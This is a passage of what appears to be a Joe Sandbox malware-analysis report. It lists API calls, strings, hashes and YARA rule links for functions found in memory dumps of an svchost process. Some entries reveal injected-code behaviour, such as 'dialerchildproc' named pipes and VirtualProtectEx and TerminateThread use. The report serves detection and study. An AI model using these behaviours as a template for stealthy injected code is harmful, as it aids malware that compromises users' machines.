FlsSetValue.KERNEL32(?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CEAB
FlsSetValue.KERNEL32(?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CEBC
SetLastError.KERNEL32 ref: 000002A3F066CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002A3F066ECCC,?,?,?,?,000002A3F066BF9F,?,?,?,?,?,000002A3F0667AB0), ref: 000002A3F066CF2C

Part of subcall function 000002A3F066D6CC: HeapAlloc.KERNEL32 ref: 000002A3F066D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CF54

Part of subcall function 000002A3F066D744: HeapFree.KERNEL32 ref: 000002A3F066D75A
Part of subcall function 000002A3F066D744: GetLastError.KERNEL32 ref: 000002A3F066D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CF76

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f1e0c32bd247f23febaa2d1440be5bafbc7f5de1e564a85961e4f744f3d8ce33
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B9415E20B21A484BF9E8E72D9D5D33D1292DFB77B0F540634B526CEED6FD7886418202

Function 000002A3F0662244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A3F0662259
GetCurrentProcessId.KERNEL32 ref: 000002A3F0662263

Part of subcall function 000002A3F0661934: OpenProcess.KERNEL32 ref: 000002A3F0661952
Part of subcall function 000002A3F0661934: IsWow64Process.KERNEL32 ref: 000002A3F0661968
Part of subcall function 000002A3F0661934: CloseHandle.KERNEL32 ref: 000002A3F0661983

CreateFileW.KERNEL32 ref: 000002A3F06622BC
WriteFile.KERNEL32 ref: 000002A3F06622E4
ReadFile.KERNEL32 ref: 000002A3F0662303
CloseHandle.KERNEL32 ref: 000002A3F066230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002A3F066228C
\\.\pipe\dialerchildproc32, xrefs: 000002A3F0662293

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: a19daec8a18c35cea35f3239cae1c3faf59040c82aea722701d635c2e9829244
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: B1213036B24B4187FB50CB29E94835977A0F7977A4F500225FA5986FA8EF7CC249CB01

Function 000002A3EFFC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A3EFFC99A1

Part of subcall function 000002A3EFFCA814: __GetUnwindTryBlock.LIBCMT ref: 000002A3EFFCA857
Part of subcall function 000002A3EFFCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A3EFFCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A3EFFC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A3EFFC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A3EFFC9DDA

Strings

csm, xrefs: 000002A3EFFC9A22
csm, xrefs: 000002A3EFFC99BB
csm, xrefs: 000002A3EFFC9A9C

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 756abd358e7a4783bdb9069bfade4474d8c2165fbc66eb76eb7e7523a4ab8011
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 5AE19F327047608BEB60DB25D68839D3BA0FB46B88F100117FE8997B95EF74C292C706

Function 000002A3F066A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A3F066A5A1

Part of subcall function 000002A3F066B414: __GetUnwindTryBlock.LIBCMT ref: 000002A3F066B457
Part of subcall function 000002A3F066B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A3F066B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A3F066A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A3F066A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A3F066A9DA

Strings

csm, xrefs: 000002A3F066A69C
csm, xrefs: 000002A3F066A622
csm, xrefs: 000002A3F066A5BB

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: aa4e658e917060183268f1c8c89f55de4d13d97c418d00fdcdb57fe31860dc90
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 46E17072B207408BEBA0DF69D84439DB7A4F767798F101125EE899BB55EF34C681CB02

Function 000002A3F066F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002A3F066F510
GetProcAddress.KERNEL32 ref: 000002A3F066F51C

Strings

api-ms-, xrefs: 000002A3F066F45A
ext-ms-, xrefs: 000002A3F066F46D

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 61af6b0a54addee8a0ecf1aaa533085d9c45a3ae1263d377a5430f1ccd05ebfc
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: B641B322B35A004BEA95CB1EAD0875A23D5F767BA0F454135BD0ACBF85FE38C6458342

Function 000002A3F066104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A3F06610B1
RegEnumValueW.ADVAPI32 ref: 000002A3F0661117
GetProcessHeap.KERNEL32 ref: 000002A3F066115A
HeapAlloc.KERNEL32 ref: 000002A3F0661168
GetProcessHeap.KERNEL32 ref: 000002A3F0661185
HeapFree.KERNEL32 ref: 000002A3F0661193

Strings

d, xrefs: 000002A3F06610D6

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: a57b92eb83caeb59451c4dd08226f081d89081f5fb86dd51c534ee38d9341f93
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: F5416633614B84CBE790CF25E84875EB7A1F396B98F448125EB894BB58EF38C545CB41

Function 000002A3F066D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,000002A3F066C7DE,?,?,?,?,?,?,?,?,000002A3F066CF9D,?,?,00000001), ref: 000002A3F066D087
FlsSetValue.KERNEL32(?,?,?,000002A3F066C7DE,?,?,?,?,?,?,?,?,000002A3F066CF9D,?,?,00000001), ref: 000002A3F066D0A6
FlsSetValue.KERNEL32(?,?,?,000002A3F066C7DE,?,?,?,?,?,?,?,?,000002A3F066CF9D,?,?,00000001), ref: 000002A3F066D0CE
FlsSetValue.KERNEL32(?,?,?,000002A3F066C7DE,?,?,?,?,?,?,?,?,000002A3F066CF9D,?,?,00000001), ref: 000002A3F066D0DF
FlsSetValue.KERNEL32(?,?,?,000002A3F066C7DE,?,?,?,?,?,?,?,?,000002A3F066CF9D,?,?,00000001), ref: 000002A3F066D0F0

Strings

1%, xrefs: 000002A3F066D0CE
Y%, xrefs: 000002A3F066D0A6

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: ac8d096a898dd5730031bc9e1ba0e049e1f0257e5f93eefe9e65e4ec58292f3b
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: FC113020F242444BF9E4DB2D9E5936D5245EB777F0F244234B929CEEDAFE7886428602

Function 000002A3F0667510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A3F0667538
__scrt_acquire_startup_lock.LIBCMT ref: 000002A3F066758A
_RTC_Initialize.LIBCMT ref: 000002A3F06675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A3F06675DE
__scrt_release_startup_lock.LIBCMT ref: 000002A3F0667609

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 8d697aec170fad2f7e85e90d89f1eeed496da71b7a4a8009cf33773665725167
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 89814A21F306418FFAE4DB6DAC6939D2690EBA7780F144535B905CBE96FE38CB458702

Function 000002A3F0669DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002A3F0669E49
GetLastError.KERNEL32 ref: 000002A3F0669E57
LoadLibraryExW.KERNEL32 ref: 000002A3F0669E81
FreeLibrary.KERNEL32 ref: 000002A3F0669EC7
GetProcAddress.KERNEL32 ref: 000002A3F0669ED3

Strings

api-ms-, xrefs: 000002A3F0669E69

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 4aec6992857ec9459b33fbbd1df24a7ccaf45efe0a0ea625233a08a79b74cc52
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5031EB21B22640DBEF91DB0AAC087592298FB67B60F590535BD1D8FB50FF39C6458312

Function 000002A3F0673DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002A3F0673DE5
GetLastError.KERNEL32 ref: 000002A3F0673DF1
CloseHandle.KERNEL32 ref: 000002A3F0673E09
CreateFileW.KERNEL32 ref: 000002A3F0673E34
WriteConsoleW.KERNEL32 ref: 000002A3F0673E53

Strings

CONOUT$, xrefs: 000002A3F0673E15

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: add0cb81a92618d40f986f0cde770ccea769e84635dcd21c0a004aec72a4038a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 50118121B20A408BEB90CB1AED5831967A4F7AAFE4F440235FA59C7B94EF38C6448741

Function 000002A3F0663790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A3F066379E
GetCurrentProcess.KERNEL32 ref: 000002A3F06637CC
VirtualProtectEx.KERNEL32 ref: 000002A3F06637EE
GetCurrentProcess.KERNEL32 ref: 000002A3F0663809
VirtualProtectEx.KERNEL32 ref: 000002A3F066382A

Strings

wr, xrefs: 000002A3F06637FF

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 3f74865dcc16d314186019eeb74bf5e6ff4b2034cf18aa14283d1b7df7a44b63
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 8C117C26B207408BFF94DB29E90826962A0F75BB85F440038FE8987B54FF3DC605C705

Function 000002A3F0665B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A3F0665B6B
GetThreadContext.KERNEL32 ref: 000002A3F0665CD5

Part of subcall function 000002A3F0665960: GetCurrentThreadId.KERNEL32 ref: 000002A3F0665964

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 8e4faef13cc65b4df83bcb70224ef88637d80fa51eeabec05ec18b16e28f9ac7
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: C5D1AF76615B4886DBB0DB0AE89535E77A0F7DAB84F100126EACD8BB65DF3CC641CB01

Function 000002A3F0662F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A3F0662F27
HeapAlloc.KERNEL32 ref: 000002A3F0662F3A
StrCmpNIW.SHLWAPI ref: 000002A3F0662FAF
GetProcessHeap.KERNEL32 ref: 000002A3F0663015
HeapFree.KERNEL32 ref: 000002A3F0663023

Strings

dialer, xrefs: 000002A3F0662FA8

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: ea9854439b511021aae1834001287969d1888a578fed51192c4f0273032b74c8
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 87319521B11B518BEB94CF1A9D4876D67A0FB67B88F084030BE488BF55FF34C5658701

Function 000002A3F066CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002A3F066CFAF
FlsSetValue.KERNEL32(?,?,?,000002A3F066D6B5,?,?,?,?,000002A3F066D778), ref: 000002A3F066CFE5
FlsSetValue.KERNEL32(?,?,?,000002A3F066D6B5,?,?,?,?,000002A3F066D778), ref: 000002A3F066D012
FlsSetValue.KERNEL32(?,?,?,000002A3F066D6B5,?,?,?,?,000002A3F066D778), ref: 000002A3F066D023
FlsSetValue.KERNEL32(?,?,?,000002A3F066D6B5,?,?,?,?,000002A3F066D778), ref: 000002A3F066D034
SetLastError.KERNEL32 ref: 000002A3F066D04F

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 947d3cf771b2348594020022dc32aacc64b00baa03c3a342095d6466a6564fa0
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 38113020F216444BFAD4D7299E5D32D1282EBB77B4F540634B936CFED6FD7886418602

Function 000002A3F066199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A3F06619C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002A3F06619E0
PathFindFileNameW.SHLWAPI ref: 000002A3F06619EF
lstrlenW.KERNEL32 ref: 000002A3F06619FB
StrCpyW.SHLWAPI ref: 000002A3F0661A0E
CloseHandle.KERNEL32 ref: 000002A3F0661A1C

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c550c66311b3ef4270f20c8bfef90b432a44ad43bf1d2da68e71925a700b0db7
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5D016D21B20A408BEB90DB5AA84C75963A1F79ABC4F884035FE4987B55EF3CC689C741

Function 000002A3F06636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A3F06636E4
GetCurrentProcess.KERNEL32 ref: 000002A3F06636F2
VirtualProtectEx.KERNEL32 ref: 000002A3F0663714
GetCurrentProcess.KERNEL32 ref: 000002A3F0663732
VirtualProtectEx.KERNEL32 ref: 000002A3F0663753
TerminateThread.KERNEL32 ref: 000002A3F0663762

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: ac31b1d2c87613b3d1a4613d73019e2fecec1a5e9f17726b67783639fbd08a0f
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: EE010C65B217408BEFA4DB2AED4C71967A0FB67B85F040434E94986B54FF3DC2448705

Function 000002A3F0669005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3F0669013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A3F06690A8
RtlUnwindEx.NTDLL ref: 000002A3F06690F7

Strings

f, xrefs: 000002A3F0669026
csm, xrefs: 000002A3F066908E

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 25a10d7dd65eceb9c08ab646dbd368edc3832f33ef66c5238f1c828468f6184d
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: AB516132B215018FDB94DB19D84C75D6769F367B84F208134EE068BB48FE75DA41C751

Function 000002A3F0668FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A3F0669013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A3F06690A8
RtlUnwindEx.NTDLL ref: 000002A3F06690F7

Strings

f, xrefs: 000002A3F0669026
csm, xrefs: 000002A3F066908E

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 0183a1ec81c6fe5fc289bf6d038e9c0e67ef63b1d30c9ccc84fcdc7c2ff0671c
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 33319C31B206408BEB94DB19EC4C71D7768F363B88F148124BE468BB49EF39CA41C756

Function 000002A3F0661A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A3F0661A60
StrCmpNIW.SHLWAPI ref: 000002A3F0661A7A
lstrlenW.KERNEL32 ref: 000002A3F0661A89
StrCpyW.SHLWAPI ref: 000002A3F0661A9E

Strings

\\?\, xrefs: 000002A3F0661A6E

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 2723efdd31ef81cf0b780c40f8ffb03886298e9d5556f209259b56203b058ea2
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C0F0A922B1064087EBA0CB58FD887596360F75AB98F844030FA498AD54EF3CC74DC701

Function 000002A3F066BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A3F066BCBD
GetProcAddress.KERNEL32 ref: 000002A3F066BCD3
FreeLibrary.KERNEL32 ref: 000002A3F066BCFA

Strings

mscoree.dll, xrefs: 000002A3F066BCB4
CorExitProcess, xrefs: 000002A3F066BCCC

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 3cb81280d6639494041b71beabffd4b8f748a6a3d86e386e790f439f9726afb7
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 56F04461721B05C7EF50CB2CAC483595320EB9B765F541225BA6A899E4EF38C2448741

Function 000002A3F0663044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002A3F0663066
StrCpyW.SHLWAPI ref: 000002A3F0663076
StrCatW.SHLWAPI ref: 000002A3F0663082
PathCombineW.SHLWAPI ref: 000002A3F0663090

Strings

\\.\pipe\, xrefs: 000002A3F066305C

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: bc7fcf44eccac469d712f6677f5295184d23beb7ce9fd1912fc011b3c1582562
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 35F05E20B24B9087EE84CB1BBD081196261EB5BFD0F046130FE468BF58EE38C649C701

Function 000002A3F06650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A3F0665156

Memory Dump Source

